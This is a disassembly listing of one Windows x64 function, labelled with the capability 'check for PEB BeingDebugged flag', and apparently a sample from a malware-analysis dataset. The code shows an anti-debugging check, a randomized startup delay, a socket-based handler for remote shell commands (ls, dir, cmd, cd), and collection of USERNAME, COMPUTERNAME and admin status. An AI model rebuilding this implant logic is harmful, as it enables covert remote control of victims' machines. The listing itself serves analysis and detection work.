Function at 0x180002f52
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x3d8
movaps xmmword [rsp + 0x3c0], xmm6
mov rax, qword gs:[0x30]
mov rax, qword [rax + 0x60]
cmp byte [rax + 2], 0
jne 0x180004450
call sub.KERNEL32.dll_GetCurrentProcessId
mov esi, eax
call sub.KERNEL32.dll_GetCurrentThreadId
mov edi, eax
xor edi, esi
mov eax, 0xba2e8ba3
imul rax, rdi
shr rax, 0x23
lea ecx, [rax + rax*4]
lea eax, [rax + rcx*2]
sub edi, eax
lea rbp, [rsp + 0x38]
mov dword [rbp], edi
call sub.KERNEL32.dll_GetCurrentThread
mov rcx, rax
mov edx, send
call sub.KERNEL32.dll_SetThreadPriority
imul ecx, edi, 0x3e8
call sub.KERNEL32.dll_Sleep
call sub.KERNEL32.dll_GetCurrentThread
mov rcx, rax
xor edx, edx
call sub.KERNEL32.dll_SetThreadPriority
lea rax, [rsp + 0x2f0]
mov qword [rax], rbp
lea rcx, [0x180030db0]
mov qword [rax + 8], rcx
lea rdx, str.StartDelay_:_Sleeping
lea rcx, [rsp + 0x140]
mov qword [rcx], rdx
mov qword [rcx + 8], 2
mov qword [rcx + 0x20], 0
mov qword [rcx + 0x10], rax
mov qword [rcx + 0x18], 1
call fcn.18000d910
lea rdi, [rsp + 0x140]
mov rcx, rdi
call fcn.180002c36
mov rsi, qword [rdi]
test rsi, rsi
je 0x18000304b
mov rdi, qword [rsp + 0x148]
jmp 0x1800043f3
lea rax, [rsp + 0x148]
mov rax, qword [rax]
lea r12, [rsp + 0x30]
mov qword [r12], rax
xorps xmm6, xmm6
lea rsi, [rsp + 0x208]
movabs r13, 0x8000000000000000
mov ecx, pe_nt_image_headers64
mov dl, 1
call fcn.18000469d
mov qword [rsp + 0x208], rax
mov qword [rsp + 0x210], rdx
mov qword [rsp + 0x218], pe_nt_image_headers64
mov ecx, 0x2000
xor edx, edx
call fcn.18000469d
mov qword [rsp + 0x230], rdx
mov qword [rsp + 0x238], 0x2000
lea rax, [rsp + 0x240]
movups xmmword [rax], xmm6
mov qword [rax + 0x10], 0
mov qword [rsp + 0x258], r12
mov rcx, rdi
lea rdx, [rsp + 0x230]
mov r8b, 0xa
mov r9, rsi
call fcn.180001d38
cmp qword [rsp + 0x140], 0
jne 0x18000438a
mov r15, rbp
mov r14, r13
mov rdx, qword [rsp + 0x210]
mov r8, qword [rsp + 0x218]
mov rcx, rdi
call fcn.18002ed20
cmp qword [rsp + 0x140], 0
jne 0x180004415
mov rcx, qword [rsp + 0x148]
mov rdx, qword [rsp + 0x150]
call fcn.1800012f1
mov rcx, rax
xor r8d, r8d
call fcn.180001535
mov rbx, rax
mov rsi, rdx
mov r9d, 2
mov rcx, rax
lea r8, str.lsdircmd_cError_running_windows_command:
call fcn.1800048b4
test al, al
lea rax, [0x180042bd2]
cmovne rbx, rax
mov eax, 3
cmovne rsi, rax
mov r8d, 3
lea rbp, [rsp + 0x2f0]
mov rcx, rbp
lea rdx, [0x180042bd5]
call fcn.180019ed0
mov r8d, 2
mov rcx, rbp
lea rdx, [0x180042bd8]
call fcn.180019fd0
mov rcx, rbp
mov rdx, rbx
mov r8, rsi
call fcn.180019fd0
mov dword [rsp + 0x3b0], 0x8000000
mov r13d, 3
mov dword [rsp + 0x140], r13d
mov rcx, rbp
mov rdx, rdi
call fcn.18001a0e0
mov dword [rsp + 0x140], r13d
mov rcx, rbp
mov rdx, rdi
call fcn.18001a120
mov dword [rsp + 0x140], r13d
mov rcx, rbp
mov rdx, rdi
call fcn.18001a160
lea rcx, [rsp + 0x2b8]
mov rdx, rbp
call fcn.180011cd0
mov r13, r14
cmp qword [rsp + 0x2b8], r14
jne 0x18000329d
mov rax, qword [rsp + 0x2c0]
mov qword [rsp + 0x110], rax
lea rsi, [rsp + 0x110]
mov qword [rsp + 0x38], rsi
lea rax, case.0x18000f55f.114
mov qword [rsp + 0x40], rax
lea rax, [0x180042c00]
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], 2
mov qword [rsp + 0x160], 0
mov rbp, r15
mov qword [rsp + 0x150], r15
mov qword [rsp + 0x158], 1
mov rcx, rdi
call fcn.18000da20
mov rcx, rsi
call fcn.180002065
jmp 0x180003b30
mov rax, qword [rsp + 0x2e8]
mov qword [rsp + 0x2b0], rax
movups xmm0, xmmword [rsp + 0x2b8]
movups xmm1, xmmword [rsp + 0x2c8]
movups xmm2, xmmword [rsp + 0x2d8]
movaps xmmword [rsp + 0x2a0], xmm2
movaps xmmword [rsp + 0x290], xmm1
movaps xmmword [rsp + 0x280], xmm0
mov rdx, qword [rsp + 0x288]
mov r8, qword [rsp + 0x290]
lea rcx, [rsp + 0xe0]
call fcn.18002ac10
mov r9d, 2
mov rcx, rbx
mov rdx, rsi
lea r8, [0x180042b92]
call fcn.1800047b8
test al, al
mov rbp, r15
je 0x18000335d
lea rcx, [rsp + 0x140]
call fcn.18000b2b0
mov rax, qword [rsp + 0x140]
mov rcx, r13
mov r13, qword [rsp + 0x148]
cmp rax, rcx
jne 0x1800033bb
mov qword [rsp + 0xa8], r13
movabs rax, 0x8000000000000001
mov qword [rsp + 0xa0], rax
jmp 0x1800036cb
mov r9d, 6
mov rcx, rbx
mov rdx, rsi
lea r8, [0x180042b94]
call fcn.1800047b8
test al, al
je 0x180003448
mov r8d, 8
mov rcx, rbp
lea rdx, str.USERNAMECOMPUTERNAMEnetsession_n
call fcn.18000b530
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x38], rax
jne 0x180003565
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
jmp 0x1800035c5
lea rcx, [rsp + 0x148]
movups xmm0, xmmword [rcx + 8]
lea rcx, [rsp + 0xd0]
movups xmmword [rcx], xmm0
mov qword [rsp + 0xc0], rax
mov qword [rsp + 0xc8], r13
xor eax, eax
xor r8d, r8d
movabs r9, 0x100003600
test r8b, r8b
jne 0x18000350f
mov rcx, rbx
test rsi, rsi
je 0x180003435
xor edx, edx
movzx r8d, byte [rcx + rdx]
cmp r8, 0x20
ja 0x180003415
bt r9, r8
jb 0x180003422
inc rdx
cmp rsi, rdx
jne 0x180003404
jmp 0x1800034b2
mov r8, rdx
not r8
add rsi, r8
lea rbx, [rcx + rdx + 1]
xor r8d, r8d
jmp 0x180003441
mov al, 1
xor esi, esi
mov rbx, rcx
mov r8b, 1
xor edx, edx
test rdx, rdx
je 0x1800033f1
jmp 0x1800034b7
mov r9d, 3
mov rcx, rbx
mov rdx, rsi
lea r8, [0x180042b9a]
call fcn.1800047b8
test al, al
je 0x180003603
mov rcx, rbp
mov rdx, rbx
mov r8, rsi
call fcn.180001b32
cmp qword [rsp + 0x38], r13
jne 0x180003aa7
mov r8d, 4
mov rcx, r12
lea rdx, [0x180042bae]
call fcn.180002e38
test rax, rax
je 0x180004059
mov rsi, rax
mov rdi, rdx
mov rcx, rbp
call fcn.1800029be
jmp 0x180003af8
mov al, 1
mov rbx, rcx
test rcx, rcx
je 0x18000350f
test al, al
jne 0x18000350f
mov rcx, rbx
mov al, 1
test rsi, rsi
je 0x180003500
xor r15d, r15d
movzx edx, byte [rcx + r15]
cmp rdx, 0x20
ja 0x1800034de
bt r9, rdx
jb 0x1800034ee
inc r15
cmp rsi, r15
jne 0x1800034cd
mov rbx, rcx
mov r15, rsi
jmp 0x180003508
mov rax, r15
not rax
add rsi, rax
lea rbx, [rcx + r15 + 1]
xor eax, eax
jmp 0x180003508
xor esi, esi
mov rbx, rcx
xor r15d, r15d
test r15, r15
je 0x1800034bc
jmp 0x180003511
xor ecx, ecx
test rcx, rcx
mov rbx, rcx
lea rax, [0x1800428d8]
cmove rbx, rax
cmove r15, rcx
lea rsi, [rsp + 0x140]
mov rcx, rsi
mov rdx, rbx
mov r8, r15
call fcn.180015fc0
cmp dword [rsp + 0x140], 2
jne 0x180003652
mov rax, qword [rsp + 0x148]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], 2
jmp 0x180003671
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov ecx, 7
xor edx, edx
call fcn.18000469d
mov rsi, rax
mov rdi, rdx
mov dword [rdx], 0x6e6b6e55
mov dword [rdx + 3], 0x6e776f6e
cmp qword [rsp + 0x140], r13
je 0x1800035c0
lea rbx, [rsp + 0x140]
mov rcx, rbx
call fcn.1800012f0
mov rcx, rbx
call fcn.1800047a0
mov ebx, 7
mov r8d, recv
mov rcx, rbp
lea rdx, [0x1800429d8]
call fcn.18000b530
movabs rax, 0x8000000000000001
cmp qword [rsp + 0x38], rax
jne 0x180003739
mov r15, qword [rsp + 0x40]
mov r13, qword [rsp + 0x48]
mov rax, qword [rsp + 0x50]
jmp 0x180003799
mov r9d, 3
mov rcx, rbx
mov rdx, rsi
lea r8, [0x180042b9d]
call fcn.1800047b8
test al, al
je 0x180003b82
mov rcx, rbp
call fcn.18000b2b0
mov rax, qword [rsp + 0x38]
mov rcx, qword [rsp + 0x40]
cmp rax, r13
jne 0x180003cb2
call fcn.1800028e0
mov rsi, rax
lea rdi, fcn.180002065
jmp 0x180003af8
mov ecx, 9
lea rbp, [rsp + 0x38]
mov r12, rsi
mov rdi, rbp
rep movsq qword [rdi], qword [rsi]
cmp qword [rsp + 0x38], 2
jne 0x180003c0b
lea rcx, [rsp + 0x40]
call fcn.180002065
mov r8d, 0x18
xor ecx, ecx
lea rdx, str.Directory_does_not_existDirectory_changed_to
call fcn.1800047e9
mov qword [rsp + 0xa8], rax
movabs rax, 0x8000000000000001
mov qword [rsp + 0xa0], rax
lea rbp, [rsp + 0x38]
lea r12, [rsp + 0x30]
lea rsi, [rsp + 0xc0]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
mov r13, r14
mov r8d, 4
mov rcx, r12
lea rdx, [0x180042bb2]
call fcn.180002e38
test rax, rax
je 0x180003700
mov rsi, rax
mov rdi, rdx
lea rcx, [rsp + 0xa0]
call fcn.180002968
jmp 0x180003af8
lea rcx, [rsp + 0xa0]
call fcn.180002968
mov r8, qword [rsp + 0xf0]
mov rdx, qword [rsp + 0xe8]
mov rcx, r12
call fcn.180002e38
test rax, rax
je 0x180003a73
mov rsi, rax
mov rdi, rdx
jmp 0x180003af8
movups xmm0, xmmword [rsp + 0x38]
movups xmm1, xmmword [rsp + 0x48]
movaps xmmword [rsp + 0x150], xmm1
movaps xmmword [rsp + 0x140], xmm0
mov ecx, 7
xor edx, edx
call fcn.18000469d
mov r15, rax
mov r13, rdx
mov dword [rdx], 0x6e6b6e55
mov dword [rdx + 3], 0x6e776f6e
cmp qword [rsp + 0x140], r14
je 0x180003794
lea rbp, [rsp + 0x140]
mov rcx, rbp
call fcn.1800012f0
mov rcx, rbp
call fcn.1800047a0
mov eax, 7
mov qword [rsp + 0x110], rsi
mov qword [rsp + 0x118], rdi
mov qword [rsp + 0x120], rbx
mov qword [rsp + 0x128], r15
mov qword [rsp + 0x130], r13
mov qword [rsp + 0x138], rax
mov r8d, 3
lea rdi, [rsp + 0x140]
mov rcx, rdi
lea rdx, [0x1800429e4]
call fcn.180019ed0
mov r8d, 7
mov rcx, rdi
lea rdx, [0x1800429e7]
call fcn.180019fd0
mov dword [rsp + 0x200], 0x8000000
mov esi, 3
mov dword [rsp + 0x38], esi
mov rcx, rdi
lea rbp, [rsp + 0x38]
mov rdx, rbp
call fcn.18001a0e0
mov dword [rsp + 0x38], esi
mov rcx, rdi
mov rdx, rbp
call fcn.18001a120
mov dword [rsp + 0x38], esi
mov rcx, rdi
mov rdx, rbp
call fcn.18001a160
lea rcx, [rsp + 0xf8]
mov rdx, rdi
call fcn.1800121b0
cmp dword [rsp + 0xf8], 0
je 0x1800038e5
mov rax, qword [rsp + 0x100]
mov qword [rsp + 0xa0], rax
lea rsi, [rsp + 0xa0]
mov qword [rsp + 0xc0], rsi
lea rax, case.0x18000f55f.114
mov qword [rsp + 0xc8], rax
lea rax, [0x1800429f0]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 2
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0xc0]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov rcx, rbp
call fcn.18000da20
mov rcx, rsi
call fcn.180002065
mov rcx, rdi
call fcn.18000214b
lea r12, [rsp + 0x30]
lea rsi, [rsp + 0x110]
jmp 0x18000392e
mov eax, dword [rsp + 0xfc]
mov dword [rsp + 0x220], eax
mov rcx, rdi
call fcn.18000214b
lea rcx, [rsp + 0x220]
call fcn.1800122c0
test al, al
lea r12, [rsp + 0x30]
lea rsi, [rsp + 0x110]
je 0x18000392e
mov r8d, 8
mov rcx, rsi
lea rdx, str.__admin_
call fcn.180004613
mov ecx, 0x80
xor edx, edx
call fcn.18000469d
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rdx
mov qword [rsp + 0x150], 0
mov qword [rsp + 0x38], rdi
mov rcx, rsi
mov rdx, rbp
call fcn.180001ca9
test rax, rax
mov r13, r14
je 0x180003983
mov rsi, rax
mov rcx, rdi
call fcn.1800012f0
mov rcx, rdi
call fcn.1800047a0
jmp 0x18000399c
mov rax, qword [rsp + 0x140]
mov rsi, qword [rsp + 0x148]
cmp rax, r13
jne 0x180003c80
lea rax, str._0xU
mov qword [rsp + 0x38], rax
lea rax, [0x1800048a0]
mov qword [rsp + 0x40], rax
lea rax, [0x180042a18]
mov qword [rsp + 0x140], rax
mov eax, 1
mov qword [rsp + 0x148], rax
mov qword [rsp + 0x150], rbp
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 0
lea rcx, [rsp + 0x80]
mov rdx, rdi
call fcn.18002aa60
lea rcx, [rsp + 0x110]
call fcn.180002037
mov rcx, rsi
call fcn.1800020df
mov edx, 0x28
mov r8d, 8
mov rcx, rsi
call fcn.180004580
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
mov rcx, r12
call fcn.180002e38
test rax, rax
je 0x180003a54
mov rsi, rax
mov rdi, rdx
lea rbx, [rsp + 0x80]
jmp 0x180003ae8
lea rsi, [rsp + 0x80]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
xor esi, esi
jmp 0x180003af8
cmp qword [rsp + 0xe0], r13
je 0x180003a95
lea rsi, [rsp + 0xe0]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
lea rcx, [rsp + 0x280]
call fcn.180002037
jmp 0x180003b30
movups xmm0, xmmword [rsp + 0x38]
movaps xmmword [rsp + 0x140], xmm0
mov r8, qword [rsp + 0x48]
mov qword [rsp + 0x150], r8
mov rdx, qword [rsp + 0x148]
mov rcx, r12
call fcn.180002e38
test rax, rax
je 0x180004066
mov rsi, rax
mov rdi, rdx
lea rbx, [rsp + 0x140]
mov rcx, rbx
call fcn.1800012f0
mov rcx, rbx
call fcn.1800047a0
cmp qword [rsp + 0xe0], r13
je 0x180003b1a
lea rbx, [rsp + 0xe0]
mov rcx, rbx
call fcn.1800012f0
mov rcx, rbx
call fcn.1800047a0
lea rcx, [rsp + 0x280]
call fcn.180002037
test rsi, rsi
jne 0x1800043a3
lea rcx, [rsp + 0x2f0]
call fcn.18000214b
mov rdx, qword [rsp + 0x238]
test rdx, rdx
je 0x180003b5d
mov rcx, qword [rsp + 0x230]
mov r8d, 1
call fcn.180004580
lea rsi, [rsp + 0x208]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
lea rdi, [rsp + 0x140]
jmp 0x180003074
mov r9d, 5
mov rcx, rbx
mov rdx, rsi
lea r8, [0x180042ba0]
call fcn.1800047b8
test al, al
je 0x180003dd0
xor eax, eax
xor r8d, r8d
movabs r9, 0x100003600
test r8b, r8b
jne 0x1800040d0
mov rcx, rbx
test rsi, rsi
je 0x180003bf5
xor edx, edx
movzx r8d, byte [rcx + rdx]
cmp r8, 0x20
ja 0x180003bd5
bt r9, r8
jb 0x180003be2
inc rdx
cmp rsi, rdx
jne 0x180003bc4
jmp 0x180004073
mov r8, rdx
not r8
add rsi, r8
lea rbx, [rcx + rdx + 1]
xor r8d, r8d
jmp 0x180003c01
mov al, 1
xor esi, esi
mov rbx, rcx
mov r8b, 1
xor edx, edx
test rdx, rdx
je 0x180003bb1
jmp 0x180004078
mov r8, qword [rsp + 0xd0]
mov qword [rsp + 0x20], r15
mov rcx, r12
mov rdx, r13
mov r9, rbx
call case.0x18001131a.80
mov rdx, qword [rsp + 0x148]
mov r8, qword [rsp + 0x150]
mov rcx, rbp
call fcn.180016620
mov rcx, qword [rsp + 0x38]
mov rax, qword [rsp + 0x40]
cmp rcx, r14
jne 0x180003e13
mov qword [rsp + 0xa8], rax
movabs rax, 0x8000000000000001
mov qword [rsp + 0xa0], rax
mov rcx, r12
call fcn.1800012f0
mov rcx, r12
call fcn.1800047a0
jmp 0x1800036ae
mov rcx, qword [rsp + 0x150]
mov qword [rsp + 0x80], rax
mov qword [rsp + 0x88], rsi
mov qword [rsp + 0x90], rcx
lea rcx, [rsp + 0x110]
call fcn.180002037
jmp 0x180003a24
lea rdx, [rsp + 0x48]
movups xmm0, xmmword [rdx]
lea rdx, [rsp + 0x148]
movups xmmword [rdx + 8], xmm0
mov qword [rsp + 0x140], rax
mov qword [rsp + 0x148], rcx
lea rcx, [rsp + 0x110]
lea rdx, [rsp + 0x140]
call fcn.180002b52
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x120]
lea rcx, [rsp + 0x80]
call fcn.180021f20
mov rbx, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
mov rcx, rdi
xor edx, edx
call fcn.18000469d
mov r15, rax
mov rsi, rdx
mov rcx, rdx
mov rdx, rbx
mov r8, rdi
call fcn.18003f010
cmp qword [rsp + 0x80], r13
je 0x180003d58
lea rbx, [rsp + 0x80]
mov rcx, rbx
call fcn.1800012f0
mov rcx, rbx
call fcn.1800047a0
lea rbx, [rsp + 0x110]
mov rcx, rbx
call fcn.1800012f0
mov rcx, rbx
call fcn.1800047a0
cmp r15, r13
lea r12, [rsp + 0x30]
je 0x1800041d9
mov qword [rsp + 0xc0], r15
mov qword [rsp + 0xc8], rsi
mov qword [rsp + 0xd0], rdi
mov rcx, r12
mov rdx, rsi
mov r8, rdi
call fcn.180002e38
test rax, rax
je 0x1800041bf
mov rsi, rax
mov rdi, rdx
lea rbx, [rsp + 0xc0]
mov rcx, rbx
call fcn.1800012f0
mov rcx, rbx
call fcn.1800047a0
jmp 0x1800041d9
mov r9d, 4
mov rcx, rbx
mov rdx, rsi
lea r8, [0x180042ba5]
call fcn.1800047b8
test al, al
je 0x180004112
mov r8d, 4
mov rcx, r12
lea rdx, [0x180042baa]
call fcn.180002e38
test rax, rax
jne 0x18000372e
jmp 0x180004450
lea rdx, [rsp + 0x48]
movups xmm0, xmmword [rdx]
lea rdx, [rsp + 0x120]
movups xmmword [rdx], xmm0
mov qword [rsp + 0x110], rcx
mov qword [rsp + 0x118], rax
lea rcx, [rsp + 0x80]
lea rdx, [rsp + 0x110]
call fcn.180002b52
mov rcx, r12
call fcn.1800012f0
mov rcx, r12
call fcn.1800047a0
mov rsi, qword [rsp + 0x88]
mov rdi, qword [rsp + 0x90]
mov rcx, rdi
xor edx, edx
call fcn.18000469d
mov rbx, rax
mov r15, rdx
mov rcx, rdx
mov rdx, rsi
mov r8, rdi
call fcn.18003f010
mov qword [rsp + 0x140], rbx
mov qword [rsp + 0x148], r15
mov qword [rsp + 0x150], rdi
mov al, byte [rsp + 0x98]
mov byte [rsp + 0x158], al
mov rcx, r15
lea rbp, [rsp + 0x38]
mov rdx, rdi
lea rdi, [rsp + 0x140]
call fcn.180017920
mov rsi, rax
mov rcx, rdi
call fcn.1800012f0
mov rcx, rdi
call fcn.1800047a0
mov qword [rsp + 0x38], rsi
test rsi, rsi
je 0x180003eec
mov rcx, rbp
call fcn.180002065
mov rdx, qword [rsp + 0x88]
mov r8, qword [rsp + 0x90]
mov rcx, rbp
call fcn.180021f20
mov qword [rsp + 0x220], rbp
lea rax, [0x180001a90]
mov qword [rsp + 0x228], rax
lea rax, [0x1800429c0]
mov qword [rsp + 0x140], rax
mov eax, 1
mov qword [rsp + 0x148], rax
lea rcx, [rsp + 0x220]
mov qword [rsp + 0x150], rcx
mov qword [rsp + 0x158], rax
mov qword [rsp + 0x160], 0
lea rcx, [rsp + 0xf8]
mov rdx, rdi
call fcn.18002aa60
mov r13, r14
cmp qword [rsp + 0x38], r14
lea r12, [rsp + 0x30]
je 0x180003f8a
mov rcx, rbp
call fcn.1800012f0
mov rcx, rbp
call fcn.1800047a0
movups xmm0, xmmword [rsp + 0xf8]
movaps xmmword [rsp + 0xa0], xmm0
mov rax, qword [rsp + 0x108]
mov qword [rsp + 0xb0], rax
lea rsi, [rsp + 0x80]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
lea rsi, [rsp + 0xc0]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
movabs rax, 0x8000000000000001
cmp qword [rsp + 0xa0], rax
je 0x1800036ce
mov rax, qword [rsp + 0xb0]
mov qword [rsp + 0x270], rax
movaps xmm0, xmmword [rsp + 0xa0]
movaps xmmword [rsp + 0x260], xmm0
cmp qword [rsp + 0xe0], r13
je 0x180004034
lea rsi, [rsp + 0xe0]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
mov rax, qword [rsp + 0x270]
mov qword [rsp + 0xf0], rax
movaps xmm0, xmmword [rsp + 0x260]
movaps xmmword [rsp + 0xe0], xmm0
jmp 0x18000370d
mov rcx, rbp
call fcn.1800029be
jmp 0x180003a6c
lea rsi, [rsp + 0x140]
jmp 0x180003a5c
mov al, 1
mov rbx, rcx
test rcx, rcx
je 0x1800040d0
test al, al
jne 0x1800040d0
mov rcx, rbx
mov al, 1
test rsi, rsi
je 0x1800040c1
xor r13d, r13d
movzx edx, byte [rcx + r13]
cmp rdx, 0x20
ja 0x18000409f
bt r9, rdx
jb 0x1800040af
inc r13
cmp rsi, r13
jne 0x18000408e
mov rbx, rcx
mov r13, rsi
jmp 0x1800040c9
mov rax, r13
not rax
add rsi, rax
lea rbx, [rcx + r13 + 1]
xor eax, eax
jmp 0x1800040c9
xor esi, esi
mov rbx, rcx
xor r13d, r13d
test r13, r13
je 0x18000407d
jmp 0x1800040d2
xor ecx, ecx
test rcx, rcx
mov rsi, rcx
lea rax, [0x1800428d8]
cmove rsi, rax
cmove r13, rcx
mov byte [rsp + 0x140], 1
lea rdi, [rsp + 0x140]
mov rcx, rdi
mov rdx, rsi
mov r8, r13
call fcn.18000bcb0
test rax, rax
je 0x18000413d
mov rcx, rax
jmp 0x180004203
mov r8, qword [rsp + 0xf0]
test r8, r8
jne 0x180003715
mov r8d, 1
mov rcx, r12
lea rdx, [0x180042ba9]
call fcn.180002e38
jmp 0x18000372e
mov rcx, rsi
mov rdx, r13
call case.0x180010e0c.26
test al, al
je 0x1800041e3
mov rcx, rdi
mov rdx, rsi
mov r8, r13
call fcn.180016620
mov rax, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x148]
cmp rax, r14
je 0x180004200
lea rcx, [rsp + 0x148]
movups xmm0, xmmword [rcx + 8]
lea rcx, [rsp + 0x48]
movups xmmword [rcx], xmm0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov r8, qword [rsp + 0x48]
lea rsi, [rsp + 0x110]
mov rcx, rsi
call fcn.180021f20
lea rcx, [rsp + 0xc0]
mov rdx, rsi
call fcn.18002b1d0
jmp 0x18000430b
lea rsi, [rsp + 0xc0]
mov rcx, rsi
call fcn.1800012f0
mov rcx, rsi
call fcn.1800047a0
xor esi, esi
lea rbp, [rsp + 0x38]
jmp 0x180003af8
mov rcx, rdi
call fcn.18000b2b0
mov rax, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x148]
cmp rax, r14
jne 0x18000421a
mov rcx, rdx
call fcn.1800028e0
mov rsi, rax
lea rdi, fcn.180002065
mov r13, r14
jmp 0x180003af8
mov rbx, r14
mov rcx, rdi
lea rdi, [rsp + 0x148]
movups xmm0, xmmword [rdi + 8]
lea r15, [rsp + 0x48]
movups xmmword [r15], xmm0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov r8, qword [rsp + 0x48]
mov qword [rsp + 0x20], r13
lea r13, [rsp + 0x110]
mov rdi, rcx
mov rcx, r13
mov r9, rsi
call case.0x18001131a.80
mov rcx, rbp
call fcn.1800012f0
mov rcx, rbp
call fcn.1800047a0
mov rdx, qword [rsp + 0x118]
mov r8, qword [rsp + 0x120]
mov rcx, rdi
call fcn.180016620
mov rax, qword [rsp + 0x140]
mov rdx, qword [rsp + 0x148]
cmp rax, r14
jne 0x1800042bc
mov rcx, rdx
call fcn.1800028e0
mov rsi, rax
mov rcx, r13
call fcn.1800012f0
mov rcx, r13
call fcn.1800047a0
jmp 0x18000420b
lea rcx, [rsp + 0x148]
movups xmm0, xmmword [rcx + 8]
movups xmmword [r15], xmm0
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], rdx
mov r8, qword [rsp + 0x48]
lea rsi, [rsp + 0x80]
mov rcx, rsi
call fcn.180021f20
lea rcx, [rsp + 0xc0]
mov rdx, rsi
call fcn.18002b1d0
mov rcx, r13
call fcn.1800012f0
mov rcx, r13
call fcn.1800047a0
mov rcx, rbp
call fcn.1800012f0
mov rcx, rbp
call fcn.1800047a0
mov rax, qword [rsp + 0xc0]
mov rsi, qword [rsp + 0xc8]
mov rdi, qword [rsp + 0xd0]
mov r13, r14
cmp rax, r14
je 0x180003af8
mov qword [rsp + 0xf8], rax
mov qword [rsp + 0x100], rsi
mov qword [rsp + 0x108], rdi
mov rcx, r12
mov rdx, rsi
mov r8, rdi
call fcn.180002e38
test rax, rax
je 0x18000437d
mov rsi, rax
mov rdi, rdx
lea rbx, [rsp + 0xf8]
jmp 0x180003ae8
lea rsi, [rsp + 0xf8]
jmp 0x180003a5c
mov rcx, qword [rsp + 0x148]
call fcn.1800028e0
mov rsi, rax
lea rdi, fcn.180002065
jmp 0x1800043b0
lea rcx, [rsp + 0x2f0]
call fcn.18000214b
mov rdx, qword [rsp + 0x238]
test rdx, rdx
je 0x1800043d0
mov rcx, qword [rsp + 0x230]
mov r8d, 1
call fcn.180004580
lea rbx, [rsp + 0x208]
mov rcx, rbx
call fcn.1800012f0
mov rcx, rbx
call fcn.1800047a0
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.WS2_32.dll_closesocket]
mov rax, rsi
mov rdx, rdi
movaps xmm6, xmmword [rsp + 0x3c0]
add rsp, 0x3d8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, [rsp + 0x148]
movups xmm0, xmmword [rax]
lea r8, [rsp + 0x2f0]
movaps xmmword [r8], xmm0
lea rax, [0x180042bb8]
mov qword [rsp + 0x20], rax
lea rcx, [0x1800428d8]
lea r9, fcn.1800012f0
mov edx, 0x2b
call fcn.1800409f0
xor ecx, ecx
call fcn.1800122d0
int3